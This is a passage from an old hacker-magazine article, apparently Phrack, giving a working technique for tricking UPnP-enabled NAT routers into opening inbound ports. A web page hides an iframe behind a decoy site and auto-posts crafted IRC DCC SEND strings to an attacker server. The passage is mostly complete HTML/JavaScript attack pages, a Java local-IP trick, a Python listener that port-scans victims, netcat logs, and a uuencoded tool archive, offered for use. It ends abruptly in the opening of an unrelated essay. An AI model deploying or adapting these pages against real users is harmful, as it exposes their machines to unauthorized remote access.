be encapsulated within the web session. The aformentioned behaviour 
makes (in the author’s opinion) the use of HTML/Javascript, as a 
delivery mechanism, to be a very effective choice. 

When the victim accesses the website a fake (bait) web site is displayed 
to them. This is done so as not to encourage the user to immediately close
the page upon load.

From this stage the attacker uses one of the various methods of 
browser redirection, HTTP response, javascript redirection etc. in
order to redirect the victim’s browser to a port of the attacker’s 
choice. We chose JavaScript since a large portion of the technique was
already written in JavaScript. This is documented in the HTML section
of the paper.
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The attacker chooses a port which corresponds to a particular protocol
that performs a data transfer out of band with the initial communication. 
In our case we chose the DCC feature from the IRC protocol. [3] Our reason
for choosing this protocol was simply because we were already familiar 
with it however, any protocol which fits this criteria is fine. The 
attacker then (using the JavaScript running on the victims computer at 
this stage) forces the victim to send text from the appropriate 
protocol, (DCC in our case) back to the attacker. If the gateway 
device responsible for NAT has UPnP features enabled, this will cause 
the device to open up a hole (as mentioned previously) and grant the 
attacker direct access to the local machine behind the NAT.

By redirecting multiple times, an attacker is able to open up a range
of ports, to portscan the host, or connect to any service running
on the local machine.

We have provided an implementation of this for you to use, however 
obviously writing your own will make it less detectable / more useful.

Now that we’ve looked at the technique from a high level breakdown we 
will dive deeper into each of the technologies which come together to 
make our technique work.

To summarize this section, the following technologies will be covered
by this paper:

o IRC Protocol: DCC
o A Java Applet.
o HTML with JavaScript.
o Python code to ./scriptkiddify the whole process up.

The rest of this chapter has been broken down into a walkthru of the 
in’s and out’s of each of the technologies mentioned, and how we can 
manipulate them to our desired end.

Each of the following sections will describe a single technology, and how
we used it.

--[ 2.1 - Implementation specifics: IRC Protocol: DCC

The first step in our implementation is to find a protocol which requires
a separate socket connection in order to communicate directly with 
an end user. 

While, as mentioned previously, there exist a multitude of protocols 
which fit our criteria, for the sake of this paper we will demonstrate
one in particular, RFC-1459 [3] Internet Relay Chat.

While i’m sure that most people reading this paper are already 
intimately familiar with IRC, i will give a brief rundown on the aspects 
of the protocol which are interesting in the scope of this paper.

Basically IRC requires that each client connects to a central server,
typically on port 6667. When one client wishes to send a message to another
they send a message to the server using the existing socket connection they
have open. The server then forwards this message on to the target client.

If two of the users on an IRC server wish to communicate without having the
server be responsible for passing the message between them, (read; trade
top secret 0day juarez) they can establish a separate communication 
channel. This is accomplished by using a subset of the IRC protocol known 
as DCC (Direct Client to Client).

DCC works by one client sending a request to establish an out of band
connection with another client on the IRC server. This request contains 
both the IP and port on which the communication will take place. The 
second client then simply establishes a TCP connection with these 
details, and uses it for further communication. 

What this basically boils down to is the following line.
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"\x01DCC SEND fake.exe 2130706433 1337\x01\r\n\r\n"

This is the format of a DCC SEND command. As you can see the entire 
command is enclosed within "\x01" characters. It contains the words
"DCC SEND" followed by the name of the file which is going to be sent.
After this is the internal IP address of the requesting host, in numeric
decimal format, and finally the port the transaction will take place on.
The format of the IP address is explained more thoroughly by optiklenz in 
Keen Veracity 6 [5].

This aspect of the protocol clearly will not work under a typical NAT 
environment (without UPnP enabled).  After receiving the IP address and 
port information, the connecting host would end up trying to connect to a 
local address (the address of the machine inside the NAT), and
never actually make it back to the intended recipient. It is for this 
reason that a UPnP enabled gateway must parse IRC traffic looking for 
DCC style commands. When this is detected, the gateway will replace 
the IP address in the request, with it’s own address. When the 
connection is received on the port specified, the gateway will forward 
it inside the NAT to the originating host. It is this behaviour that, 
as the attacker, we can exploit for our own benefit.

If, as the attacker, we force the victim to send a crafted DCC SEND request
(such as the one above) to port 6667 there’s a good chance that the 
gateway will open up the port specified in the request, providing UPnP is 
enabled. The cool thing about this protocol is that no IP address is 
specified for the connecting IP. This means that once the request has 
taken place, a connection from anywhere in the world is completely valid. 

Several implementations of UPnP do not even care if the IP address 
specified in the DCC SEND command is the same as that of the victim 
machine. In this case, the steps described so far are sufficient to open a 
gaping hole in the gateway and connect to the victim. However in most 
cases we need to first establish the internal IP address of the victim’s 
machine.

Luckily there is an easy way to accomplish this from the web, which we 
will address in the next section.

--[ 2.2 - Implementation specifics - Java

The easiest way to identify the local IP of the victim from the web is
to use a Java applet. Applets are able to create a new Socket object and 
call the "getLocalAddress()" method on it to obtain the local address of 
the host (obviously).

The following Java code illustrates this: 

String s = (new Socket(s2, i)).getLocalAddress().getHostAddress();

Luckily for us, there already exists a nicely pre-packaged Java applet 
called MyAddress [4] which does this and can be downloaded straight from 
their website.  

The applet supports a variety of ways to access the local
IP once it is obtained. One way is to specify the "mayscript" parameter
in the applet tag; this causes a javascript function (MyAddress() by 
default) to be called once the IP is obtained.  This is useful, as we can 
effectively block until we receive this neccessary data.

The following HTML demonstrates the use of this applet and the MyAddress()
callback function.  Also (as mentioned earlier in the DCC protocol section)
as the local IP address must be entered in "defunct" format, we’ve 
provided the defunct() function to translate from decimal format to 
defunct:

        <applet code="MyAddress.class" name="myaddress" 
         mayscript width="0" height="0"></applet>
        <script>
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        <!--
                var ip = null;
                function MyAddress(i) {ip = defunct(i); doevil();}
                function defunct(sip) {
                        if(sip == null) return 0;
                        sip += ’’;  // ;( make sure it’s a string

                        var dip = 0;
                        var a = sip.split(".");
                        var l = a.length;
                        for(var i=0; i<l; i++) 
                                dip += a[l-i-1]*Math.pow(256,i);
                        return dip;
                }
        -->
        </script>

--[ 2.3 - Implementation specifics: HTML

Now that we can create a proper DCC send string, the next problem 
to overcome is how to force the client to unknowingly send the 
encapsulated string to a malicious server, thereby tricking their
gateway into forwarding a port we specify.  HTML forms submitted 
automatically via javascript are highly useful for this.

Since the DCC string (and many other protocols you might choose
to use with this technique) require multiple lines of communication
to trigger the UPnP NAT traversal features, we set the "enctype" 
attribute to "multipart/form-data".  This allows the required 
carriage return and new line characters to be submitted via a 
form field.

The following form tag shows how to specify the enctype:

        <form   
                id="evilform" 
                name="evilform" 
                action="http://evilserver.com:6667/"
                method="post" 
                enctype="multipart/form-data"
        >

In order to automate the submission of our DCC string (payload), 
we use javascript to submit the form (after the internal IP address
is obtained) via the form submit() method as follows:

        function doevil(ip, port) {
                var frm = document.forms[’evilform’];
                if(frm == null) return;
                frm.payload.value = unescape("%01")
                        + "DCC SEND evil.txt " + ip + " " + port + 
                        + unescape("%01%0a%0d");
                try { frm.submit(); } catch(err) { return; }
        }
        
As you can see we’ve used javascript to craft the payload string,
because of the neccessary (depending of gateway implementation) 
carriage return and newline characters.

The following HTML code demonstrates the code so far, including
the use of the MyAddress applet mentioned in the previous section:

        <html>
        <head>
        <title>(Untitled)</title>
        <applet code="MyAddress.class" name="myaddress" 
                mayscript width="0" height="0"></applet>
        <script>
        <!--
                var port = 1337;
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                function MyAddress(i) {ip = defunct(i); doevil(ip, port);}
                function defunct(sip) {
                        if(sip == null) return 0;
                        sip += ’’;  // ;( make sure it’s a string

                        var dip = 0;
                        var a = sip.split(".");
                        var l = a.length;
                        for(var i=0; i<l; i++) 
                                dip += a[l-i-1]*Math.pow(256,i);
                        return dip;
                }
                function doevil(ip, port) {
                        var frm = document.forms[’evilform’];
                        if(frm == null) return;
                        frm.payload.value = unescape("%01")
                                + "DCC SEND evil.txt " + ip + " " + port + 
                                + unescape("%01%0a%0d");
                        try { frm.submit(); } catch(err) { return; }
                }
        -->
        </script>
        </head>
        <body>
        <form   
                id="evilform" 
                name="evilform" 
                action="http://evilserver.com:6667/"
                method="post" 
                enctype="multipart/form-data"
        >
        <input type="input" id="payload" 
         name="payload" value="null">
        </form>
        </body>
        </html>

By simply binding netcat to port 6667 of evilserver.com, this 
code is enough to manually connect back to the port "port" once
a victim has viewed this web page, as the following snippet 
demonstrates:

-[max@evilserver:˜/simple]$ nc -lp 6667
POST / HTTP/1.1
Host: evilserver.com:6667
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) 
Gecko/20080311 Firefox/2.0.0.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://evilserver.com/simpletest.html
Content-Type: multipart/form-data; boundary=---------------------------
162151946613101846322123277333
Content-Length: 213

-----------------------------162151946613101846322123277333
Content-Disposition: form-data; name="payload"

DCC SEND evil.txt 16909060 1337NaN
-----------------------------162151946613101846322123277333--

You can see that a victim has connected to our webpage (simpletest.html)
and that the page has automatically submitted our DCC SEND send string.
Using netcat again, we can connect back to the ip and port above (using 
the defunct format works fine with nc):



phrack65/5.txt Fri Jul 01 13:24:52 2022 7

-[max@evilserver:˜/simple]$ nc 16909060 1337
muahahaha
what are you doing here?!  

Here’s what it looks like from the victim’s end:

-[victim@QQ:˜]$ nc -lp 1337
muahahaha
what are you doing here?!  

Obviously there are some significant drawbacks to using this
simplified example...who wants to sit and manually monitor 
their connections and then manually connect back to victims?
What if you want to connect to multiple ports?  Won’t it kinda
tip the victim off (or at least bore them mightily) if there’s 
nothing but a dodgy page for them to look at?  How about something
interesting?  Like maybe an article....

The topic of the listening and connect back mechanism is addressed
in the next section of this chapter.  The content problem and the 
ability to forward multiple ports per visit are addressed by creating
an additional page (evil.html) that contains two HTML iframes, one hidden 
and one visible.  While the victim is distracted by content in the 
visible iframe (goodframe), the hidden iframe (evilframe) 
loads the second page (evilform.html) in order to post (as many times 
as desired) to evilserver.

The code might look something like this (note that we keep the 
MyAddress code in evil.html; there’s no sense in loading it multiple
times):

evil.html:

        <html>
        <head>
        <title>(Untitled)</title>
        <applet code="MyAddress.class" name="myaddress" 
                mayscript width="0" height="0"></applet>
        <script type="text/javascript">
        <!--
                var ports = [135,137,138,139,22,1337];
                var port = null;
                var ip = null;

                function MyAddress(i) {ip = defunct(i); openports();}
                function defunct(sip) {
                        if(sip == null) return 0;
                        sip += ’’;  // ;( make sure it’s a string

                        var dip = 0;
                        var a = sip.split(".");
                        var l = a.length;
                        for(var i=0; i<l; i++) 
                                dip += a[l-i-1]*Math.pow(256,i);
                        return dip;
                }
                function openports() {
                        if(!ports || !ip) return;
                        for(port in ports) 
                                document.getElementById(’evilframe’).src = ’evilform.html
’; 
                }
        -->
        </script>
        </head>
        <body style="padding: 0px; border:none; margin:0px;">
        <iframe name="evilframe" id="evilframe" src="" 
                width="0" height="0" frameborder="0"></iframe>
        <iframe name="goodframe" id="goodframe" 
               src="http://google.com" width="100%" height="100%"



phrack65/5.txt Fri Jul 01 13:24:52 2022 8

               frameborder="0">
        </iframe>
        </body>
        </html>

Upon load, evilform.html will access evil.html’s (its parent’s) variables
"port" and "ip" to craft the payload DCC string and then post:

evilform.html:

        <html>
        <head>
        <title>(Untitled)</title>
        </head>
        <script>
        <!--
                function doevil(ip, port) {
                        var frm = document.forms[’evilform’];
                        if(ip == null || port == null || frm == null) return;
                        frm.internal_ip.value = ’internal_ip:’+ip;
                        frm.internal_port.value = ’internal_port:’+port;
                        frm.payload.value = unescape("%01")
                                + "DCC SEND evil.txt " + ip + " " + port + 
                                + unescape("%01%0a%0d");;
                        window.parent.formposting();
                        try { frm.submit(); } catch(err) { return; }
                }
        -->
        </script>
        <body onload="doevil(window.parent.ip, window.parent.port)">
        <form   
                id="evilform" 
                name="evilform" 
                action="http://evilserver.com:6667/"
                method="post" 
                enctype="multipart/form-data"
        >
        <input type="input" id="payload" name="payload" value="null">
        <input type="input" id="internal_ip" name="internal_ip" value="null">
        <input type="input" id="internal_port" name="internal_port" value="null">
        </form>
        </body>
        </html>
  
Note that evilform.html is now also setting two additional form variables
(with some tags to make them easier to regex out later) so that the 
listener can note what the internal port and IP of the victim are.  Since 
these variables aren’t within a protocol string (like the DCC send string)
the gateway will not replace them with the external values.

Unfortunately, however,  the code above introduces a race condition: you
can’t be assured that evilform.html has had enough time to load and post 
before it gets reloaded. We originally expected that this could be 
remedied if the service listening on 6667 of evilserver.com replied with a 
page that invoked a callback function in the parent page in the following
manner:

        <script>window.parent.imdone();</script>

Unfortunately, modern browsers will limit access to data across iframes if 
the source page’s scheme, domain, or port is different.  Because our post
is neccessarily to a different port (6667 vs 80), the above code will 
always generate an exception.

Our solution was to mitigate the issue by putting in enough delay after 
evilform.html begins loading as to be reasonably assured that the page
has completed it’s automatic posting before reloading it. Since javascript
has no sleep() function (that we could find), we used 
window.setTimeout(fn, t):
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evil.html:
        ...
                function MyAddress(i) {ip = defunct(i); opennextport();}
        ...
                function formposting() {
                        window.setTimeout(’opennextport()’, 1000)
                }
                function opennextport() {
                        if(!ports || cp < 0 || cp > ports.length) return;
                        port = ports[cp++];
                        document.getElementById(’evilframe’).src = ’evilform.html’; 
                }

        ...

evilform.html:
        ...     
                function doevil(ip, port) {
                        var frm = document.forms[’evilform’];
                        if(ip == null || port == null || frm == null) return;
                        frm.internal_ip.value = ’internal_ip:’+ip;
                        frm.internal_port.value = ’internal_port:’+port;
                        frm.payload.value = unescape("%01")
                                + "DCC SEND evil.txt " + ip + " " + port + 
                                + unescape("%01%0a%0d");;
                        window.parent.formposting();
                        try { frm.submit(); } catch(err) { return; }
                }
        ...

One cosmetic issue remains with our code: the title of evil.html will not
match that of our bait page.  If the bait page is hosted via the same 
scheme on the same domain and port as evil.html, then this can be easily
remedied with this code snippet:

        function settitle() { document.title = 
        window.frames[’goodframe’].document.title; }
        ...
        <body onload="settitle()">

However, as previously mentioned, if the bait page is hosted on a 
different server or using a different scheme, accessing goodframe’s 
document title would cause an exception to be raised.  In either case, 
if the victim were to follow an internal link, the title would become 
outdated.  Our solution was to wrap the assignment in a try / catch block
and to set a timeout to call settitle again in 350 milliseconds:

                function settitle() {
                        try{ document.title = window.frames[’goodframe’].document.title;}
 
                        catch(err) {return;}
                        window.setTimeout(’settitle()’, 350);
                }

Below is the final code:

evil.html:

        <!-- evil.html -->
        <html>
        <head>
        <title>(Untitled)</title>
        <applet code="MyAddress.class" name="myaddress" 
                mayscript width="0" height="0"></applet>
        <script type="text/javascript">
        <!--
                var ip = null;
                var port = null;
                var ports = [135,137,138,139,22,1337];
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                var cp = 0;

                function MyAddress(i) {ip = defunct(i); opennextport();}
                function settitle() {
                        try{ document.title = window.frames[’goodframe’].document.title;}
 
                        catch(err) {return;}
                        window.setTimeout(’settitle()’, 350);
                }
                function defunct(sip) {
                        if(sip == null) return 0;
                        sip += ’’;  // ;( make sure it’s a string

                        var dip = 0;
                        var a = sip.split(".");
                        var l = a.length;
                        for(var i=0; i<l; i++) 
                                dip += a[l-i-1]*Math.pow(256,i);
                        return dip;
                }
                function formposting() {
                        window.setTimeout(’opennextport()’, 1000)
                }
                function opennextport() {
                        if(!ports || cp < 0 || cp > ports.length) return;
                        port = ports[cp++];
                        document.getElementById(’evilframe’).src = ’evilform.html’; 
                }
        -->
        </script>
        </head>
        <body onload="settitle()" style="padding: 0px; border:none; margin:0px;">
        <iframe name="evilframe" id="evilframe" src="" 
                width="0" height="0" frameborder="0"></iframe>
        <iframe name="goodframe" id="goodframe" src="http://google.com" 
                width="100%" height="100%" frameborder="0"></iframe>
        </body>
        </html>

evilform.html:

        <html>
        <head>
        <title>(Untitled)</title>
        </head>
        <script>
        <!--
                function doevil(ip, port) {
                        var frm = document.forms[’evilform’];
                        if(ip == null || port == null || frm == null) return;
                        frm.internal_ip.value = ’internal_ip:’+ip;
                        frm.internal_port.value = ’internal_port:’+port;
                        frm.payload.value = unescape("%01")
                                + "DCC SEND evil.txt " + ip + " " + port + 
                                + unescape("%01%0a%0d");;
                        window.parent.formposting();
                        try { frm.submit(); } catch(err) { return; }
                }
        -->
        </script>
        <body onload="doevil(window.parent.ip, window.parent.port)">
        <form   
                id="evilform" 
                name="evilform" 
                action="http://evilserver.com:6667/"
                method="post" 
                enctype="multipart/form-data"
        >
        <input type="input" id="internal_ip" name="internal_ip" value="null">
        <input type="input" id="internal_port" name="internal_port" value="null">
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        <input type="input" id="payload" name="payload" value="null">
        </form>
        </body>
        </html>

Voila.  Now you have a couple of pages that can be used 
to open ports for connecting to boxes that are NAT’d 
behind UPnP enabled routers. The section below details the 
final component of our implementation: the listener. 

--[ 2.4 - Implementation specifics: Listener

Possibly the most trivial component of our implementation is
the listener. This service will sit on evilserver.com and 
listen on the port of choice (6667 for IRC/DCC and our code
above).

When the victim browses to evil.html and inadvertantly posts
via evilform.html, the listener is responsible for receiving 
the connection. This can trivially be implemented in python 
using the "SocketServer" module. A small example of this is 
as follows:

class RequestHandler(SocketServer.StreamRequestHandler):
        def handle(self):
                while(True):
                        try:
                                line = self.rfile.readline()
                        except:
                                return
                        ...

# begin listening for new connections.
tcpserver = SocketServer.TCPServer((’localhost’, port),RequestHandler)
tcpserver.serve_forever()

The implementation of the listener provided with this paper will also 
attempt to connect back to the victim through their gateway, effectively 
port scanning the victim, behind the NAT.

Here is the code to do this:

        def scan(self, ip, port):
                sock = socket.socket()
                sock.settimeout(1)

                ret = sock.connect_ex((ip,int(port))) == 0
                sock.close()
                return ret

The code for the listener (whiskers.py) can be generated with the script
that is included in section Appendix A.

The output of whiskers is as follows:

-[max@evilserver:˜]$ python whiskers.py

***********************************************************
Sat, 12 Apr 2008 01:13:17 GMT: Starting server....
Sat, 12 Apr 2008 01:13:17 GMT: Server started: 1.2.3.1337 listening on 6667
Sat, 12 Apr 2008 01:13:39 GMT: [+] Opened hole for port: 135 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:39 GMT: [+] ---- Internal port: 135 on ip: 
                               192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:40 GMT: [+] Opened hole for port: 137 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:40 GMT: [+] ---- Internal port: 137 on ip: 
                               192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:42 GMT: [+] Opened hole for port: 138 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:42 GMT: [+] ---- Internal port: 138 on ip: 
                               192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:43 GMT: [+] Opened hole for port: 139 on ip: 1.2.3.4
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Sat, 12 Apr 2008 01:13:44 GMT: [+] ---- Internal port: 139 on ip: 
                               192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:45 GMT: [+] Opened hole for port: 22 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:45 GMT: [+] ---- Internal port: 22 on ip: 
                               192.168.0.100 - open.
Sat, 12 Apr 2008 01:13:53 GMT: Server stopped.

As you can see, the victim had a service running on port 22.

--[ 3 - Putting it all together with Python.

Since it’s a bit cumbersome to remember which bit to swivel where and when 
or what protocol’s to use and how, we’ve provided an extensible python 
script that generates the two webpages (with the options to name them 
something a little more innocuous), MyAddress.class,  and a listener based 
on specified parameters.  

Type ./claw.py -h for usage.

--[ 4 - References

[1] Network Address Translation :: http://www.faqs.org/rfcs/rfc1631.html
[2] UPnP NAT Traversal
[3] Khaled would be proud       :: http://www.mirc.co.uk/help/rfc1459.txt
[4] MyAddress Java Applet       
                             :: http://reglos.de/myaddress/MyAddress.html
[5] Defunct IP address representation
http://www.mirrors.wiretapped.net/security/info/textfiles/keen-veracity/ ..
  kv6.txt

--[ 5 - Appendix A: Source code 

The source code used in this paper was written by arachne.
We really appreciate her work on this project.

begin 644 claw.tgz
M’XL(‘,‘+‘$@‘‘]1:_U?;QK+OK]9?L18AEH(M!‘D),3B!‘‘FT@%5P<I,2ZB/;
M‘NM&EO0D&?#M[?_^/C.[DB7CM’WWG9[SGD^(5J/9V=GYOB,-‘_?>BF<__)T_
M&[]7MBVO+[<J5]O>VMAX\?*’C0UY\_+%BQ_LC><O[,T?A/VW<J5^TS1S$R%^
M<!-W.‘Z][^+]V7.Y&;NX_C_YK=37IVFR/O##]7B6C:-0TW5=:Q_RQ9_$49*)
M=);FPULOB^*L>.‘%WG!^%PV_><7==)J/+K/$#V]/NIKVZ>CB\J1[+CI"MRW;
MVM"UPZ/WE[C]3;^/;OS‘T]OZ_=A/OWE)"J/4FT*?N‘/UX&RV/QHE7II:P\!-
M4_UW[?*X>]’K.CVBH-^-C]MQVVE’[4%;UTZ[YQ_R)V,OB’7M;/]S’^N_ZUZ>
M]+X‘_!QKO_OX‘:/W;I!ZVIV7#*+4SV:‘V)J7)/UHFF&,S5MI-@)‘&WF#Z>UC
M\"1=‘ARYF?L8"A(W8IJZMYZ!61U=-]M:33_TTSAP9ZG(QIY\*OSP)DHF;N9’
MH<"(GV#;]\*-X\‘?\@-+B‘,W%‘-/W/G>O3<2]WXV9LS66*2X&8YUK<9,&SI?
M1!3JIE;S;P16%W7(1L?Z-7!F$)-N<GMW95^+-:&WA8X+L(‘>0WV9>/.FM!$H
M1B?E71Y<G#@]J+2M7=VMIM=:#]H3<1+=)NX$QA)ZB9MYV-A]).!GF3\4Q[VS
M4Q%CCZDPO#L_L,;9)-">"AK3GOE>#&8"HG*G068*;,G-Q%!N=9IBHUDDHM@+
MQ2V(W[LSH8VC‘/3N?%=\=$(’@NE!"HJ‘F’C#L1OZZ80E.8I@C"‘)/O$/E&"F
M‘]‘$^9.+‘W%X<"‘NC\X/1>"’I‘;ATJR)B*,TLS3M\.3RX’3_Y.SHHBWW.HQ&
M’A%RN@<@P63<+/,F<4:T1]XD"M.,A,"*&;BI/]1(H$,_)I8C,@=B:.J<.S2#
M/":EO;IB$#U@QV.?J(KS_1Z6_WBY_^&HK:VFX@IN"!M(K\75A!P$5Y>OFE9C
M0*U6HQ5I2$)+4IA’‘,$FT7WJT4KXYX=^YN>\P1!J-?#N#K]!@(=2>"RA0DT"
MEC,-T]@;^C>^-[*TFJN6(H:G#W[@N\E,KLE*(ZE)LX[=61"YHQVY3.@-A_!D
M0AY-F9O#[AFHPVJ‘ZB43/TUI=V"$\1>YF1O*(D=:E^WQ$G;=&D#>?M8G8ZO5
MR")<&4!(ZI*G6\6G%‘U,1GHBS(&7O1_#R‘@SMV3XF#?@:5!Y@;R,2VC->_B.
MT%IC(*?CZ%Z:(<4G‘%MTI0>0‘6Z/Q7‘,Z=5JQ_A?<LGF%D)VF?0!.$F5.>;B
M1_?.O1PF/BR0^?=YHO?@#:<9\UIF$UY,<QZSJ"RQGT5]<K6:BZ4G$[>5>K$K
M%PM\\‘5),IYDL#"C.4M_RLTCR1$1IKWQ?*N)_U[1?]OTW^NF>"HV-XF]6‘QI
MW5K-H0SS=TF’9[Q\^?*5A6’+H<"61<,HJ-6Z"‘[139O"Q<(<@O"\ME-$&1?!
M;SI‘@A2S:,J1#)8H(K"7R#5RPBD9"W‘:)-YO’NWTCM03#A//A=L626J’?%I,
MHL3CH$8#33OZO’_FG,KX‘/LA1QE%$]</+>A.0&8;SY^_$M@’!3EH&‘(6<)+)
MC-Q$QF&$=;$J#)6HFZ*4%BHW2‘MTYSWXF;%ARKR&39!3]X&2&BYR!(!IAS(\
M9SE’/O9D/‘#2=.*%D%F*_W.]+Z:XIDB\;)J$%"%=.-R0+<Z%LZK%H%:RQXF7
M4<D‘8\Z2&:4T1,>T28ND2,"R:+’DA3DK*H>FR"L%[,A[&’IQ7N-8’_ARE"01
M)N‘1D96I&S<6IT9.I8$7&K20*=Z(S3F2WHLB,7’#67FKN8=1%EZ)QDU6GBO‘
M?$BQ$)X&4XT2"[]’M.UVC7\K@E0J4%O$*"\HUN[,TQED&(4JJ,&.$K!#6KAJ
M3+B^:EQ#’$00*F12=Q"I/UG,#1‘%2J+VLLF-(ADTA"‘*HV6)@C8‘6YTA#,(G
MT]@?3J-IJM4>;6ICOHB[P.’&M6)#+$-I5-)‘‘XQP_@G<))A593-R)R&E%ZTV
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M_ZW‘?OR[M‘X-D@:BIDNIGHR&^‘&/%,"%H;?&5(/*T,RU6JY=TCVX8\P.ZJC6
M’5=2*_!Q9+‘PHJ+’’5#]5[BL?"[(]<F<)Q‘:U0#BKJ’$7W@Y:;&8!DE.W&^8
MH::S\\2Q]’VJ.’AP’R6C&2+1B<QLX10U34*^0M2]_YJBQ%7S*W4P^2C5A1-*
MQE22Y8F0LA.B%‘!>$(#N)9CS2APL3(M"2)TS6@0\F5P3:‘A*9[-,IEZ38Y\B
M‘=1I,%+^,*MNF%:5E4N")#!W’A4B<BG.@X2*F4"E@@V^Y*44[J%‘YO)6UGN4
M";(^’5XD@2"*8@[4M#!V]UBEQZQ297J<C*5Q+N+%%3Q*2\OQG#(>17R%5JLM
M($9EQ(CSZW**‘XD(@&O=H.(P]/5UW:1G+78LU&5\‘,JRN(TGJ.C=.6$*^@59
M&68Y8FL:GZ^*9$>QFS+6@.I8!&#YE$MI#XN2=(OTQ>>-&]’O4V79[QLX(-XT
M18CXW.0Z@5U(3[V\*%3S&(.-.:_9"7E’%OO^3167SY0P*CC9/*!2Z*_1:A:3
MZC#%’,0S.CQ1DPRJ:C2#3NELRGQ*WJAP\.3.L#9JB.$8651NVDMW5#ZJU+1"
M$E’G-"I#")DY4F(-$9/5RCB)C‘(O^5^NC*":L5.H2E91A4/B"#\2!FQ?GN;-
M’.,"00!^<:P0I1+SPY1*IG‘9#IOY/G*1EW9BT%::O"$S-Q0_&8Z&0R/’YF2O
MDGFJ"D/)G^(]<6\RDE=1A3^2(LCQ80Z4EUG4’UH1MM-‘?=-X9$[TA&JY’?$_
MM:L<Q5JP:UZGR43-/S6L[QM.V5)0?TU##P?‘&!7$JKU!A4*MA@-Y<2[E’)L]
M9’Q‘]V,ZK/.0V5\3$KU"8]5V5VV4’#MT9O\S*_P_866)SN<2#N:A&_25‘Y^3
M&Y7‘V’T!]!Z6XA;@.6X5ROC]A$)&XE&=’*-H,/2KKP_VQC6$CL&F?4V2ER-K
M[:T<&%=VZ_7UVENS<FNRPBJ,/R9>>=Q>/A.<?7^>’Y=G:710)80>TJPL4E05
M7*MQ%Z,C.‘PF5‘]9*#%&!#78LF3)*W&E\#654<@-!E$4&(0LJ=;((/QP2H*E
MG%6;@’258]0JV7‘LYRA"$VHTD>0EC:KV8(S3$"5H;$RLVR2:QCA-F-6U’BVD
MA+ILJ>4K*9.8K[!\@256\:=K5.WK^[M9-,_\^:9\?-K]8-TG?D:6MW8MNCAQ
MPV>HJ\5^PG8B5JG.@LO3B$]I%:+-,O_F(EE)MX6?.%%B64)5M‘03KDBN65:Q
M:2+&&/HPB.#4>E.GWH!N7K%]4=O**#%1XHAS/S<6+1G1<F.3CJX2"9W^*’GT
MBB1*P>’.’ZG,P=TSP4TBU+O?6#3J>$^98[/28E2-FG1I]S"&FL9"=@VS,31Q
M.Z8.&R<=ZL19RPL9+@([YYP"N=!38PIA’94-9+W6T:E[0<T+ZEU0ZV)S$T<)
MJKDZC7EOJ"&#[@GWX0+_7XB9E6[OO))@"?/ZL!Z^%D!E4GPM2AYP1"4/+CE(
M,@:@’.1@8@E‘NN0@YZ+;ZQYT3ZE[?J6RNWFM4@?JYF_3F!@H98V+4M8X<?)L
M$$1#F-G$12&#*.3243^CPD:^**#S.(T&,\K;O,D5:FI\/’2@JJ%+8[!V’X4-
M’‘.&&<XP.&24FJNJVX-D%U!:H2-‘ZE’2=S-70(KYZ<(5L@LBZP,_Q.D‘N9?Z
M""&8I4V#"PJ2DBUY,=3=_OO^R?E1KYD_O>P>_-0__’"Q?V:JF9;B‘SZVL?G<
M*OU!X=LVNZ+*:XRNMDW,&";.X4JNTD^EG<GS=E.XZGJOKNIEB)1YEP^Y4N;4
M7V>KI\=_W>3=HH,.!.XQ-T;<=I9^$#JR_,GSOLHCV$‘.,@IC,^6Y>8Y;BI*J
M(7(2WL’&1Z4C70NZ^Q;22;.HPF1HJY#-JZ5.0=U:++,(;<YE@;98YG"N!)=E
M9RKQ6?$QOBD9>W6N]+E’<_.31L&G/’*HES‘E-S2K0%YT$<9!LPHC+YV#E!3F
M‘+4LLTHE@$S2V20.J,G?X9<VNQ1WWN‘")\‘E\[/‘>V-\#’DP,G?7)43;I1,V
M_)5><’0>O7QC7^KHDYEJJ>NPS5FJ^JK^*!MW=%L78\^_’6<T?+.[+NF!L$++
M9C$H9,@1Z_]T[UP)U?&\WFIIM3LW$9Q3PVD0[,A[)=T%"(6T*^I;KE$]71$R
M)1Q=OU;(0R)G[U#/A[,TTEZQ+<,WQ6_E’‘[‘#K]D"L$@43/,G=]+,Q’*6%‘&
MYDEI_X8P,V3#MO@):-TCTD?W%F<LG+AOHVC$X\:U5<7=^1WN2I6&ER0@*,,%
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------[  0. starting point, our world and the Internet

2008: During the past 10 years the Internet accrued its value in a way that
was not predictable. A lot of players are trying to gain power over it: 
recording and cinema industries, governments, software vendors.

Eight, ten years ago our feeling with the net was hacking pleasure; now,
the hacking techniques are recycled by security vendors for their security
services. Once the diffusion of a crack was proof of value, now it only 
represents the risk to be busted. A lot has changed and for someone this 
is the opportunity to reconsider and eventually change both his ways of 
acting and his priorities.
The spirit has changed: may the energies be readdressed?
Is there space for fun, still, and where?
The game now is hard. The tools in our hands have changed and threats are 
much more realistic. Hacking is a game, but now the risk level has to 
be carefully taken into consideration to protect ourselves and the 
people near us, to avoid jail or being exploited.

Media industry, political entities and vendors are trying every possibility
to set foot where they can have even a minimum of control over users. This
is because control, even if only partial, means power.

We can envision how the Internet, its operating systems and softwares
operate. We clearly know what is going on, and why it works in that 
specific way and not otherwise.

Those who are trying to get their hands on the network and on the Internet
users often (and fortunately) do not have the skills necessary to 
understand the concepts on which the network is based. The fact that the 
internet society is based on technical rules before that on moral ones is 
somehow less natural for us to believe. 

So it happens that computers and the Internet are subject to legislation, 
control and governmental based restriction, whilst the Internet and 
computers are by definition the same all over the world and the Internet is
made by all users equally.

Whether it speaks of computers, hard drives, forensic analysis, censorship 
or wiretapping, items are always the same. 
We can still understand this, while the politicians are on average 50 years
old and spent more or less 30 of those years in the political career. 
Information technology has been developed seriously in recent 15 years, so 
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it is normal that politicians do not understand anything of IT matters. 

Other than that, we see that political choices must enjoy the support of 
the people, but people have not a better comprehension of IT matters than 
